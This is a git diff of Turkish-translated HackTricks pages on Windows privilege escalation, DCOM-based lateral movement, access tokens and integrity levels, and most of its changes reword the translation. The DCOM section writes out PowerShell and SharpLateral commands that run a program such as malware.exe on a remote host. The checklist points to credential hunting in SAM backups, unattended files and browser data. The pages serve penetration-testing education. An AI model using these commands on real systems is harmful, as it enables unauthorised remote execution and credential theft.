* [ ] [**katılımsız dosyalarda**](windows-local-privilege-escalation/#unattended-files) şifreler var mı? * [ ] [**Gözetimsiz dosyalarda**](windows-local-privilege-escalation/#unattended-files) şifreler var mı?
* [ ] Herhangi bir [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) yedeği var mı? * [ ] Herhangi bir [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) yedeği var mı?
* [ ] [**Bulut kimlik bilgileri**](windows-local-privilege-escalation/#cloud-credentials)? * [ ] [**Bulut kimlik bilgileri**](windows-local-privilege-escalation/#cloud-credentials)?
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) dosyası? * [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) dosyası?
* [ ] [**Önbelleğe Alınmış GPP Şifresi**](windows-local-privilege-escalation/#cached-gpp-pasword)? * [ ] [**Önbelleğe alınmış GPP Şifresi**](windows-local-privilege-escalation/#cached-gpp-pasword)?
* [ ] [**IIS Web yapılandırma dosyasında**](windows-local-privilege-escalation/#iis-web-config) şifre var mı? * [ ] [**IIS Web yapılandırma dosyasında**](windows-local-privilege-escalation/#iis-web-config) şifre var mı?
* [ ] [**web** **günlüklerinde**](windows-local-privilege-escalation/#logs) ilginç bilgiler var mı? * [ ] [**web** **günlüklerinde**](windows-local-privilege-escalation/#logs) ilginç bilgiler var mı?
* [ ] Kullanıcıdan [**kimlik bilgilerini istemek**](windows-local-privilege-escalation/#ask-for-credentials) ister misiniz? * Kullanıcıdan [**kimlik bilgilerini istemek**](windows-local-privilege-escalation/#ask-for-credentials) ister misiniz?
* [ ] [**Geri Dönüşüm Kutusu içindeki ilginç dosyalar**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)? * [**Geri Dönüşüm Kutusundaki**](windows-local-privilege-escalation/#credentials-in-the-recyclebin) ilginç dosyalar var mı?
* [ ] [**kimlik bilgileri içeren diğer kayıt defterleri**](windows-local-privilege-escalation/#inside-the-registry)? * [**Kimlik bilgilerini içeren diğer**](windows-local-privilege-escalation/#inside-the-registry) kayıt defterleri var mı?
* [ ] [**Tarayıcı verileri içinde**](windows-local-privilege-escalation/#browsers-history) (veritabanları, geçmiş, yer imleri, ...)? * [**Tarayıcı verileri**](windows-local-privilege-escalation/#browsers-history) içinde (dbs, geçmiş, yer imleri, ...)?
* [ ] Dosyalar ve kayıt defterinde [**genel şifre araması**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) * [**Dosyalar ve kayıt defterinde genel şifre araması**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)
* [ ] Şifreleri otomatik olarak aramak için [**Araçlar**](windows-local-privilege-escalation/#tools-that-search-for-passwords) * Şifreleri otomatik olarak aramak için [**Araçlar**](windows-local-privilege-escalation/#tools-that-search-for-passwords)
### [Sızdırılan İşleyiciler](windows-local-privilege-escalation/#leaked-handlers) ### [Sızdırılan İşleyiciler](windows-local-privilege-escalation/#leaked-handlers)
* [ ] Yönetici tarafından çalıştırılan bir sürecin herhangi bir işleyicisine erişiminiz var mı? * Yönetici tarafından çalıştırılan bir sürecin herhangi bir işleyicisine erişiminiz var mı?
### [Borulama İstemcisi Taklit Etme](windows-local-privilege-escalation/#named-pipe-client-impersonation) ### [Pipe İstemci Taklidi](windows-local-privilege-escalation/#named-pipe-client-impersonation)
* [ ] Bunu kötüye kullanıp kullanamayacağınızı kontrol edin * Bunu kötüye kullanıp kullanamayacağınızı kontrol edin
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,31 +1,23 @@
# DCOM Exec # DCOM Exec
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## MMC20.Application ## MMC20.Application
**Bu teknik hakkında daha fazla bilgi için [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) orijinal gönderisini kontrol edin.** **Bu teknik hakkında daha fazla bilgi için [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) adresindeki orijinal gönderiyi kontrol edin.**
Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, hem DCOM hem de Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar; DCOM için [buradan](https://msdn.microsoft.com/en-us/library/cc226801.aspx) ve COM için [buradan](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) erişilebilir. DCOM uygulamalarının bir listesi PowerShell komutu kullanılarak alınabilir: Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, hem DCOM hem de Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar; DCOM için [buradan](https://msdn.microsoft.com/en-us/library/cc226801.aspx) ve COM için [buradan](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) erişilebilir. DCOM uygulamalarının bir listesi PowerShell komutu kullanılarak alınabilir:
```bash ```bash
@ -33,7 +25,7 @@ Get-CimInstance Win32_DCOMApplication
``` ```
COM nesnesi, [MMC Uygulama Sınıfı (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC eklenti işlemlerinin betimlenmesini sağlar. Özellikle, bu nesne `Document.ActiveView` altında bir `ExecuteShellCommand` yöntemini içerir. Bu yöntem hakkında daha fazla bilgi [burada](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) bulunabilir. Çalıştığını kontrol edin: COM nesnesi, [MMC Uygulama Sınıfı (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC eklenti işlemlerinin betimlenmesini sağlar. Özellikle, bu nesne `Document.ActiveView` altında bir `ExecuteShellCommand` yöntemini içerir. Bu yöntem hakkında daha fazla bilgi [burada](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) bulunabilir. Çalıştığını kontrol edin:
Bu özellik, bir DCOM uygulaması aracılığıyla bir ağ üzerinde komutların yürütülmesini kolaylaştırır. DCOM ile uzaktan yönetici olarak etkileşimde bulunmak için PowerShell aşağıdaki gibi kullanılabilir: Bu özellik, bir DCOM uygulaması aracılığıyla bir ağ üzerinde komutların yürütülmesini kolaylaştırır. DCOM ile uzaktan admin olarak etkileşimde bulunmak için PowerShell aşağıdaki gibi kullanılabilir:
```powershell ```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>")) [activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
``` ```
@ -120,15 +112,9 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) * [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) * [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -15,23 +15,10 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Erişim Jetonları ## Erişim Jetonları
Sisteme **giriş yapmış her kullanıcı**, o oturum için **güvenlik bilgileriyle bir erişim jetonu taşır**. Kullanıcı giriş yaptığında sistem bir erişim jetonu oluşturur. **Kullanıcı adına yürütülen her işlem**, **erişim jetonunun bir kopyasına** sahiptir. Jeton, kullanıcıyı, kullanıcının gruplarını ve kullanıcının ayrıcalıklarını tanımlar. Bir jeton ayrıca mevcut oturum açma işlemini tanımlayan bir oturum açma SID'si (Güvenlik Tanımlayıcısı) içerir. Her **sisteme giriş yapmış kullanıcı**, o oturum için **güvenlik bilgileriyle bir erişim jetonu taşır**. Sistem, kullanıcı giriş yaptığında bir erişim jetonu oluşturur. **Kullanıcı adına yürütülen her işlem**, **erişim jetonunun bir kopyasına** sahiptir. Jeton, kullanıcıyı, kullanıcının gruplarını ve kullanıcının ayrıcalıklarını tanımlar. Bir jeton ayrıca, mevcut oturum açma işlemini tanımlayan bir oturum açma SID'si (Güvenlik Tanımlayıcısı) içerir.
Bu bilgiyi `whoami /all` komutunu çalıştırarak görebilirsiniz. Bu bilgiyi `whoami /all` komutunu çalıştırarak görebilirsiniz.
``` ```
@ -103,9 +90,9 @@ Bu, ağdaki nesnelere erişim için geçerli kimlik bilgilerine sahip olduğunuz
İki tür token mevcuttur: İki tür token mevcuttur:
* **Birincil Token**: Bir sürecin güvenlik kimlik bilgilerini temsil eder. Birincil tokenların oluşturulması ve süreçlerle ilişkilendirilmesi, ayrıcalık ayrımı ilkesini vurgulayan, yükseltilmiş ayrıcalıklar gerektiren eylemlerdir. Genellikle, bir kimlik doğrulama hizmeti token oluşturma ile sorumluyken, bir oturum açma hizmeti bunun kullanıcı işletim sistemi kabuğu ile ilişkilendirilmesinden sorumludur. Süreçlerin, oluşturulduklarında ebeveyn süreçlerinin birincil tokenını miras aldığını belirtmekte fayda var. * **Birincil Token**: Bir sürecin güvenlik kimlik bilgilerini temsil eder. Birincil tokenların oluşturulması ve süreçlerle ilişkilendirilmesi, ayrıcalık ayrımını vurgulayan, yükseltilmiş ayrıcalıklar gerektiren eylemlerdir. Genellikle, bir kimlik doğrulama hizmeti token oluşturma işlemini üstlenirken, bir oturum açma hizmeti bunun kullanıcı işletim sistemi kabuğuyla ilişkilendirilmesini yönetir. Süreçlerin, oluşturulduklarında ebeveyn süreçlerinin birincil tokenını miras aldığını belirtmek gerekir.
* **Taklit Token**: Bir sunucu uygulamasının, güvenli nesnelere erişim için istemcinin kimliğini geçici olarak benimsemesini sağlar. Bu mekanizma dört işlem seviyesine ayrılmıştır: * **Taklit Token**: Bir sunucu uygulamasının, güvenli nesnelere erişim için istemcinin kimliğini geçici olarak benimsemesini sağlar. Bu mekanizma dört işlem seviyesine ayrılmıştır:
* **Anonim**: Sunucuya, tanımlanamayan bir kullanıcınınki gibi erişim izni verir. * **Anonim**: Sunucuya, tanımlanamayan bir kullanıcınınki gibi erişim sağlar.
* **Kimlik Doğrulama**: Sunucunun, nesne erişimi için kullanmadan istemcinin kimliğini doğrulamasına olanak tanır. * **Kimlik Doğrulama**: Sunucunun, nesne erişimi için kullanmadan istemcinin kimliğini doğrulamasına olanak tanır.
* **Taklit**: Sunucunun, istemcinin kimliği altında çalışmasını sağlar. * **Taklit**: Sunucunun, istemcinin kimliği altında çalışmasını sağlar.
* **Delege**: Taklit ile benzer, ancak sunucunun etkileşimde bulunduğu uzak sistemlere bu kimlik varsayımını genişletme yeteneğini içerir, kimlik bilgilerini korur. * **Delege**: Taklit ile benzer, ancak sunucunun etkileşimde bulunduğu uzak sistemlere bu kimlik varsayımını genişletme yeteneğini içerir, kimlik bilgilerini korur.
@ -122,27 +109,16 @@ Hangi **token ayrıcalıklarının ayrıcalıkları yükseltmek için kötüye k
[privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md) [privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md)
{% endcontent-ref %} {% endcontent-ref %}
[**tüm olası token ayrıcalıklarına ve bu dış sayfadaki bazı tanımlara**](https://github.com/gtworek/Priv2Admin) göz atın. [**tüm olası token ayrıcalıkları ve bu dış sayfadaki bazı tanımlar**](https://github.com/gtworek/Priv2Admin) için bir göz atın.
## Referanslar ## Referanslar
Tokenlar hakkında daha fazla bilgi edinin: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) ve [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962) Tokenlar hakkında daha fazla bilgi edinin: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) ve [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan bir **dark-web** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -15,30 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** tarafından desteklenen bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Integrity Levels ## Integrity Levels
Windows Vista ve sonraki sürümlerde, tüm korunan öğeler bir **bütünlük seviyesi** etiketi ile gelir. Bu yapılandırma, belirli klasörler ve Internet Explorer 7'nin düşük bütünlük seviyesinde yazabileceği dosyalar hariç, dosyalara ve kayıt defteri anahtarlarına genellikle "orta" bir bütünlük seviyesi atar. Varsayılan davranış, standart kullanıcılar tarafından başlatılan süreçlerin orta bütünlük seviyesine sahip olmasıdır, oysa hizmetler genellikle sistem bütünlük seviyesinde çalışır. Yüksek bir bütünlük etiketi, kök dizini korur. Windows Vista ve sonraki sürümlerde, tüm korunan öğeler bir **bütünlük seviyesi** etiketi ile gelir. Bu yapı, genellikle dosyalara ve kayıt defteri anahtarlarına "orta" bir bütünlük seviyesi atar, Internet Explorer 7'nin düşük bütünlük seviyesinde yazabileceği belirli klasörler ve dosyalar hariç. Varsayılan davranış, standart kullanıcılar tarafından başlatılan süreçlerin orta bir bütünlük seviyesine sahip olmasıdır, oysa hizmetler genellikle bir sistem bütünlük seviyesinde çalışır. Yüksek bir bütünlük etiketi, kök dizini korur.
Ana kural, nesnelerin, nesnenin seviyesinden daha düşük bir bütünlük seviyesine sahip süreçler tarafından değiştirilemeyeceğidir. Bütünlük seviyeleri şunlardır: Ana kural, nesnelerin, nesnenin seviyesinden daha düşük bir bütünlük seviyesine sahip süreçler tarafından değiştirilemeyeceğidir. Bütünlük seviyeleri şunlardır:
* **Güvenilmez**: Bu seviye, anonim oturum açma ile süreçler içindir. %%%Örnek: Chrome%%% * **Güvenilmez**: Bu seviye, anonim oturum açma ile süreçler içindir. %%%Örnek: Chrome%%%
* **Düşük**: Temelde internet etkileşimleri için, özellikle Internet Explorer'ın Korunan Modu'nda, ilişkili dosyaları ve süreçleri etkileyen ve **Geçici İnternet Klasörü** gibi belirli klasörler için. Düşük bütünlük seviyesine sahip süreçler, kayıt defteri yazma erişimi olmaması ve sınırlı kullanıcı profili yazma erişimi dahil olmak üzere önemli kısıtlamalarla karşılaşır. * **Düşük**: Temelde internet etkileşimleri için, özellikle Internet Explorer'ın Korunan Modu'nda, ilişkili dosyaları ve süreçleri etkileyen ve **Geçici İnternet Klasörü** gibi belirli klasörler için. Düşük bütünlük seviyesine sahip süreçler, kayıt defteri yazma erişimi olmaması ve sınırlı kullanıcı profili yazma erişimi dahil olmak üzere önemli kısıtlamalarla karşılaşır.
* **Orta**: Çoğu etkinlik için varsayılan seviye, standart kullanıcılara ve belirli bir bütünlük seviyesine sahip olmayan nesnelere atanır. Yöneticiler grubunun üyeleri bile varsayılan olarak bu seviyede çalışır. * **Orta**: Çoğu etkinlik için varsayılan seviye, standart kullanıcılara ve belirli bir bütünlük seviyesine sahip olmayan nesnelere atanır. Yöneticiler grubunun üyeleri bile varsayılan olarak bu seviyede çalışır.
* **Yüksek**: Yöneticiler için ayrılmıştır, onlara daha düşük bütünlük seviyelerine sahip nesneleri değiştirme yetkisi verir, bunlar arasında yüksek seviyedeki nesneler de bulunur. * **Yüksek**: Yöneticiler için ayrılmıştır, onlara daha düşük bütünlük seviyelerindeki nesneleri değiştirme yetkisi verir, bunlar arasında yüksek seviyedeki nesneler de bulunur.
* **Sistem**: Windows çekirdeği ve temel hizmetler için en yüksek operasyonel seviyedir, yöneticiler için bile erişilemez, kritik sistem işlevlerinin korunmasını sağlar. * **Sistem**: Windows çekirdeği ve temel hizmetler için en yüksek operasyonel seviyedir, yöneticiler için bile erişilemez, kritik sistem işlevlerinin korunmasını sağlar.
* **Yükleyici**: Diğer tüm seviyelerin üzerinde yer alan benzersiz bir seviyedir, bu seviyedeki nesnelerin herhangi bir diğer nesneyi kaldırmasına olanak tanır. * **Yükleyici**: Diğer tüm seviyelerin üzerinde yer alan benzersiz bir seviyedir, bu seviyedeki nesnelerin herhangi bir diğer nesneyi kaldırmasına olanak tanır.
@ -64,7 +50,7 @@ NT AUTHORITY\INTERACTIVE:(I)(M,DC)
NT AUTHORITY\SERVICE:(I)(M,DC) NT AUTHORITY\SERVICE:(I)(M,DC)
NT AUTHORITY\BATCH:(I)(M,DC) NT AUTHORITY\BATCH:(I)(M,DC)
``` ```
Şimdi, dosyaya **Yüksek** bir minimum bütünlük seviyesi atayalım. Bu **bir yönetici olarak çalışan bir konsoldan** yapılmalıdır çünkü **normal bir konsol** Orta Bütünlük seviyesinde çalışacak ve bir nesneye Yüksek Bütünlük seviyesi atamasına **izin verilmeyecektir**: Şimdi, dosyaya **Yüksek** bir minimum bütünlük seviyesi atayalım. Bu **bir yönetici olarak çalışan bir konsoldan** **yapılmalıdır**, çünkü **normal bir konsol** Orta Bütünlük seviyesinde çalışacak ve bir nesneye Yüksek Bütünlük seviyesi atamasına **izin verilmeyecektir**:
``` ```
icacls asd.txt /setintegritylevel(oi)(ci) High icacls asd.txt /setintegritylevel(oi)(ci) High
processed file: asd.txt processed file: asd.txt
@ -79,7 +65,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC)
NT AUTHORITY\BATCH:(I)(M,DC) NT AUTHORITY\BATCH:(I)(M,DC)
Mandatory Label\High Mandatory Level:(NW) Mandatory Label\High Mandatory Level:(NW)
``` ```
Bu noktada işler ilginçleşiyor. `DESKTOP-IDJHTKP\user` kullanıcısının dosya üzerinde **TAM yetkileri** olduğunu görebilirsiniz (aslında dosyayı oluşturan kullanıcı buydu), ancak uygulanan minimum bütünlük seviyesi nedeniyle, artık dosyayı değiştiremeyecek, yalnızca Yüksek Bütünlük Seviyesi içinde çalışıyorsa (okuyabileceğini unutmayın): Bu noktada işler ilginçleşiyor. `DESKTOP-IDJHTKP\user` kullanıcısının dosya üzerinde **TAM yetkileri** olduğunu görebilirsiniz (aslında bu dosyayı oluşturan kullanıcıydı), ancak uygulanan minimum bütünlük seviyesi nedeniyle, artık dosyayı değiştiremeyecek, yalnızca Yüksek Bütünlük Seviyesi içinde çalışıyorsa (not edin ki dosyayı okuyabilecektir):
``` ```
echo 1234 > asd.txt echo 1234 > asd.txt
Access is denied. Access is denied.
@ -94,7 +80,7 @@ Access is denied.
### Binaries'deki Bütünlük Seviyeleri ### Binaries'deki Bütünlük Seviyeleri
`cmd.exe` dosyasının bir kopyasını `C:\Windows\System32\cmd-low.exe` konumuna aldım ve bunu bir yönetici konsolundan **düşük bir bütünlük seviyesi olarak ayarladım:** `cmd.exe` dosyasının bir kopyasını `C:\Windows\System32\cmd-low.exe` konumuna aldım ve ona **bir yönetici konsolundan düşük bir bütünlük seviyesi atadım:**
``` ```
icacls C:\Windows\System32\cmd-low.exe icacls C:\Windows\System32\cmd-low.exe
C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F)
@ -104,41 +90,14 @@ APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)
Mandatory Label\Low Mandatory Level:(NW) Mandatory Label\Low Mandatory Level:(NW)
``` ```
Now, when I run `cmd-low.exe` it will **düşük bütünlük seviyesi altında çalışacak** instead of a medium one: Şimdi, `cmd-low.exe` çalıştırdığımda, **orta bir seviyede** yerine **düşük bir bütünlük seviyesinde** çalışacak:
![](<../../.gitbook/assets/image (313).png>) ![](<../../.gitbook/assets/image (313).png>)
For curious people, if you assign high integrity level to a binary (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`) it won't run with high integrity level automatically (if you invoke it from a medium integrity level --by default-- it will run under a medium integrity level). Meraklılar için, bir ikili dosyaya yüksek bütünlük seviyesi atarsanız (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`), otomatik olarak yüksek bütünlük seviyesinde çalışmayacaktır (orta bütünlük seviyesinden çağırırsanız --varsayılan olarak-- orta bütünlük seviyesinde çalışacaktır).
### İşlemlerde Bütünlük Seviyeleri ### Süreçlerde Bütünlük Seviyeleri
Not all files and folders have a minimum integrity level, **ama tüm işlemler bir bütünlük seviyesi altında çalışmaktadır**. And similar to what happened with the file-system, **eğer bir işlem başka bir işlem içinde yazmak istiyorsa en az aynı bütünlük seviyesine sahip olmalıdır**. This means that a process with low integrity level cant open a handle with full access to a process with medium integrity level. Tüm dosya ve klasörlerin minimum bir bütünlük seviyesi yoktur, **ancak tüm süreçler bir bütünlük seviyesinde çalışmaktadır**. Ve dosya sistemiyle olan benzer şekilde, **bir süreç başka bir süreç içinde yazmak istiyorsa en az aynı bütünlük seviyesine sahip olmalıdır**. Bu, düşük bütünlük seviyesine sahip bir sürecin, orta bütünlük seviyesine sahip bir sürece tam erişimle bir tanıtıcı açamayacağı anlamına gelir.
Due to the restrictions commented in this and the previous section, from a security point of view, it's always **düşük bütünlük seviyesinde bir işlemi çalıştırmak önerilir**. Bu ve önceki bölümde belirtilen kısıtlamalar nedeniyle, güvenlik açısından, her zaman **bir süreci mümkün olan en düşük bütünlük seviyesinde çalıştırmak önerilir**.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **ücretsiz** functionalities to check if a company or its customers have been **tehdit altına alınmış** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
